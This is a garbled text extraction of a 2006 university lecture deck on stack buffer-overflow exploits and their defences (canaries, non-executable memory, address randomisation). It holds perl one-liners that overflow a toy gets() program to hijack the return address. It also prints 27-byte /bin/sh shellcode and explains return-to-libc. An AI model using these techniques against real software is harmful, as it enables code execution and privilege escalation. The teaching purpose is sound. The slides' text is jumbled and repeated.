What is an exploit? Introduction Stack Exploits Prevention Conclusion Introduction Stack Exploits Prevention Conclusion 1/22 2/22 Programs contain bugs. These bugs could have security implications (vulnerabilities). An exploit is a tool which exploits a vulnerability in order to escalate privileges of attacker. Exploits and Prevention Skip the authentication in a program. Andrea Bittau Trick the passwd program to change someone else’s password. Trick a web-server to execute arbitrary code. December 6, 2006 Sample vulnerability Wrong password Script-kiddie definition $ ./a.out # Sample vulnerability Introduction Stack Exploits Prevention Conclusion Correct password 3/22 vuln.c int check_auth() { char pass[1024]; gets(pass); return strcmp(pass, "lame") == 0; Introduction Stack Exploits Prevention Conclusion 3/22 vuln.c int check_auth() { char pass[1024]; gets(pass); return strcmp(pass, "lame") == 0; } int main(int argc, char *argv[]) { if (check_auth()) printf("w00t\n"); } } int main(int argc, char *argv[]) { if (check_auth()) printf("w00t\n"); } $ perl -e ‘ print "bla" ’ | ./vuln $ $ perl -e ‘ print "lame" ’ | ./vuln w00t Sample vulnerability Overflowing password Sample vulnerability Introduction Stack Exploits Prevention Conclusion Returning to printf Introduction Stack Exploits Prevention Conclusion 3/22 vuln.c int check_auth() { char pass[1024]; 3/22 vuln.c int check_auth() { char pass[1024]; gets(pass); return strcmp(pass, "lame") == 0; gets(pass); return strcmp(pass, "lame") == 0; } int main(int argc, char *argv[]) { if (check_auth()) printf("w00t\n"); } } int main(int argc, char *argv[]) { if (check_auth()) printf("w00t\n"); } $ perl -e ‘ print "A" x 6666 ’ | ./vuln Segmentation fault (core dumped) $ perl -e ‘print pack("L",0x080485d8) x1337’ | ./vuln w00t Sample vulnerability Executing int 3 Outline Introduction Stack Exploits Prevention Conclusion 3/22 vuln.c int check_auth() { char pass[1024]; 4/22 1 Introduction 2 Stack Exploits Hijacking program flow Shellcode 3 Prevention Stackguard Non-executable memory Address space layout randomization 4 Conclusion gets(pass); return strcmp(pass, "lame") == 0; } int main(int argc, char *argv[]) { if (check_auth()) printf("w00t\n"); } $ perl -e ‘print "\xCC" x 1000 . pack("L", 0xbfbfe410) x 123’ | ./vuln Trace/BPT trap (core dumped) Introduction Stack Exploits Prevention Conclusion Exploit overview How serious are crashes? Introduction Stack Exploits Prevention Conclusion Introduction Stack Exploits Prevention Conclusion 5/22 $ perl -e ’ print "A" x 6666 ’ | ./vuln Segmentation fault (core dumped) $ gdb ./vuln vuln.core ... #0 0x41414141 in ?? () (gdb) info r eip eip 0x41414141 0x41414141 The canonical exploit forces a process to execute attacker’s code: 1 Inject attacker’s code (shellcode) into process’ memory. 2 Overwrite memory to try and change process’ execution flow. 3 Cause process to jump to (execute) shellcode. 6/22 The ASCII code for ’A’ is 0x41. We wrote 0x41414141 into instruction pointer (EIP): The virtual memory address 0x41414141 is not mapped (segmentation fault). Could write legal address into EIP and place shellcode there. The stack Stack overflows Introduction Stack Exploits Prevention Conclusion Introduction Stack Exploits Prevention Conclusion 7/22 The stack is a memory location: vuln.c Top of the stack is located at stack pointer (ESP). Can push (add) and pop (remove) objects from stack. Grows downwards. Push causes ESP to decrement. Used for saving function return addresses. Stack a 2 ESP 8/22 int check_auth() { char pass[1024]; gets(pass); return strcmp(pass, "lame") == 0; } int main(int argc, char *argv[]) { if (check_auth()) printf("w00t\n"); } b 1 0 (memory address) 80485cc: call 804855c <check_auth> 80485d1: test %eax,%eax ... Stack ESP Stack overflows Stack overflows Introduction Stack Exploits Prevention Conclusion Introduction Stack Exploits Prevention Conclusion 8/22 vuln.c int check_auth() { char pass[1024]; Stack Stack vuln.c int check_auth() { char pass[1024]; 80485d1 ESP gets(pass); return strcmp(pass, "lame") == 0; 80485d1 %ebp gets(pass); return strcmp(pass, "lame") == 0; } int main(int argc, char *argv[]) { if (check_auth()) printf("w00t\n"); } } int main(int argc, char *argv[]) { if (check_auth()) printf("w00t\n"); } 80485cc: call 804855c <check_auth> 80485d1: test %eax,%eax ... Stack overflows 8/22 pass ESP 804855c: push %ebp ... 804855f: sub $0x418,%esp Hijacking execution flow Introduction Stack Exploits Prevention Conclusion Introduction Stack Exploits Prevention Conclusion 8/22 vuln.c Stack 41414141 AAAA gets(pass); return strcmp(pass, "lame") == 0; 804855c: push %ebp ... 804855f: sub $0x418,%esp We can make check auth return anywhere we like. Make it skip the if statement. int check_auth() { char pass[1024]; } int main(int argc, char *argv[]) { if (check_auth()) printf("w00t\n"); } 9/22 AAAA. . . ESP vuln.c if (check auth()) printf("w00t\n"); objdump -d vuln 80485cc: call 80485d1: test 80485d3: je 80485d5: sub 80485d8: push 80485dd: call <check auth> %eax,%eax <main+0x35> $0xc,%esp $0x8048668 <printf> $ perl -e ‘print pack("L",0x080485d8) x1337’ | ./vuln w00t Executing arbitrary code Executing arbitrary code Introduction Stack Exploits Prevention Conclusion Introduction Stack Exploits Prevention Conclusion 10/22 10/22 Inject code in process and cause check auth to return to it. Can store our code inside the pass buffer on the stack. Need memory address of pass so we know where to return to. Inject code in process and cause check auth to return to it. Can store our code inside the pass buffer on the stack. Need memory address of pass so we know where to return to. stack stack Obtaining address of pass $ ./vuln & [1] 7654 $ gdb ./vuln 7654 (gdb) p &pass $1 = (char (*)[1024]) 0xbfbfe410 bfbfe410 %ebp pass Obtaining address of pass bfbfe410 %ebp 0xCC $ ./vuln & [1] 7654 $ gdb ./vuln 7654 (gdb) p &pass $1 = (char (*)[1024]) 0xbfbfe410 What should our code be? int 3 (0xCC) will cause a trap. $ perl -e ‘print "\xCC" x 1000 . pack("L", 0xbfbfe410) x 123’ | ./vuln Trace/BPT trap (core dumped) Shellcode Morris worm (1988) Introduction Stack Exploits Prevention Conclusion Introduction Stack Exploits Prevention Conclusion 11/22 In general, what should the injected code do? It should spawn a shell to allow launching other commands. 12/22 First exploit was by Robert Morris in the Internet Worm. Exploited finger daemon (remote root). Morris is now a professor at MIT (not because of worm). shell.c int main(int argc, char *argv[]) { char *arg[] = { "/bin/sh", 0 }; execve(arg[0], arg, 0); } 27 byte FreeBSD shellcode 31 c0 50 68 6e 2f 73 68 68 2f 2f 62 69 89 e3 50 53 89 e1 50 51 53 50 b0 3b cd 80 in.fingerd.c (from UCB 5.1 6/6/85) int main(argc, argv) char *argv[]; { register char *sp; char line[512]; ... gets(line); ... return(0); } What about 2006? Summary of exploits Introduction Stack Exploits Prevention Conclusion Introduction Stack Exploits Prevention Conclusion 13/22 14/22 Vulnerable programs can be “tricked” to execute arbitrary code. Old school vulnerabilities still exist. Skip authentication in SSH. BID 21326, 10/11/06 Make web-server execute a shell. ProFTPD MOD TLS Remote Buffer Overflow Vulnerability. Make su execute a root shell. static char *tls_x509_name_oneline(X509_NAME *x509_name) { static char buf[256] = {’\0’}; ... memcpy(buf, data, datalen); Exploits typically do this by: 1 Inject malicious code (shellcode) into process’ memory. Memory must be executable. 2 Overflow a buffer to overwrite control information (e.g. saved return address). It must be possible to overflow buffers. 3 Overwrite control information causing program to jump to shellcode. Shellcode location must be predictable. Attacker controls variables in red. BSS overflow. My server darkircop.org is vulnerable. Have fun exploiting it. Stackguard (1998) Pro Police (2001) Introduction Stack Exploits Prevention Conclusion Preventing the overflow Effectiveness Introduction Stack Exploits Prevention Conclusion 15/22 16/22 Pro Police is a modern Stackguard. Run-time overhead: ≈ 8% vuln.c vuln() { int canary; char buf[512]; Install canary on each function call. Stack Check canary on each return. %eip %ebp gets(buf); check(&canary); return; buf } Compiler places a canary (random number) before control data. Before return, check if canary changed (detect overflow). Solves: Overflows in the “forward” direction: need to overwrite canary before EIP. UCB fingerd bug (Morris). Does not solve: Overflows in the opposite direction: overwrite EIP and stop before hitting canary. Apache chunked encoding bug. Format string bugs can write anywhere without having to contiguously overflow. WU-ftpd site exec bug. Heap overflows. Too many to list. Non-executable stack (1997) Preventing shellcode execution Non-executable stack (1997) Introduction Stack Exploits Prevention Conclusion Preventing shellcode execution Introduction Stack Exploits Prevention Conclusion 17/22 Shellcode is usually placed on the stack. 17/22 Shellcode is usually placed on the stack. Make stack non-executable and shellcode cannot be run. Make stack non-executable and shellcode cannot be run. Solar Designer’s original segmentation patch for IA-32 Solar Designer’s original segmentation patch for IA-32 CS base CS limit DS base DS limit CS base CS limit DS base DS limit Code Segment: where CPU reads instructions. Split segments and mark only CS as executable. Data Segment: where data (such as stack) is read. 50% virtual memory overhead. Can only use 1.5GB. Normally they overlap and share same memory. No run-time overhead—hardware enforces protection. Modern CPUs (IA-64) have NX-bit in page tables. Make memory non-executable at a page granularity (≈4KB). OpenBSD W⊕X Effectiveness Randomized memory Introduction Stack Exploits Prevention Conclusion Preventing the jump to (shell)code Introduction Stack Exploits Prevention Conclusion 18/22 But what if attacker puts shellcode elsewhere (e.g. heap)? 19/22 Attacker usually needs address of shellcode (need to jump to it). Mark memory either Writable (x)or eXecutable—never both. Randomize the process’ address space at run-time. If attacker writes shellcode, she cannot execute it. Cannot calculate address of shellcode for jumping there. Suppose a portion of the address space x is not random: After his patch, Solar Designer published return-to-libc exploit. Instead of injecting our own code and returning to it, cause a return into code already present, e.g. libc’s system(). Can pass, on stack, “/bin/sh” as argument to system(). W⊕X only solves (due to ret-to-libc): Exploits which cannot control stack. OpenSSH challenge-response heap bug. Can put shellcode on stack. ESP will point to it. Can find “jmp %esp” (0xffe4) in x and jump there. Thus, to be effective, all memory has to be randomized. Linux’s PaX randomizes the whole process space: Random stack, heap, bss, and data base. Random mmap(). Libraries are at random locations. .text is position independent code (relocatable code). PaX Effectiveness Summary of solutions Introduction Stack Exploits Prevention Conclusion Introduction Stack Exploits Prevention Conclusion 20/22 21/22 1 Pro Police. Prevent overflow. Defeated by bugs that allow writing in specific locations. Memory overhead: internal fragmentation. 2 Random gaps between objects, e.g. as returned by mmap(). Non-executable memory. Prevent shellcode execution. Defeated by return-to-libc. Useful when no control of stack. 3 Does not solve: Defeated by memory leaking bugs or brute-force. Useful to prevent return-to-libc. Exploits that do not require addresses. OpenSSH challenge-response bug. Bugs that can leak information. Bind TSIG & infoleak bug. Effectiveness in practice Format strings can leak memory. WU-ftpd site exec bug. Vulnerability UCB fingerd netkit telnetd AYT OpenSSH challenge-response WU-ftpd site exec Apache chunked encoding Processes where you can systematically brute-force (e.g. fork on each session). Apache chunked encoding bug. Conclusion Introduction Stack Exploits Prevention Conclusion 22/22 Exploits: Exploit software bugs (vulnerabilities) for privilege escalation. They exist in practice, even today, and are a serious problem. Solutions: Need several solutions to be effective—no single magic wand. Even when using all solutions, problems may still remain. What about all those WWW exploits, e.g. PHP bugs? Do they care about NX or random memory? Randomized memory. Prevent jumping to known locations. Description Forward stack Heap Integer & heap Format string Backward stack Minimum required PPolice or Rand-Mem Rand-Mem NX-Mem Unsolved Unsolved
© Copyright 2024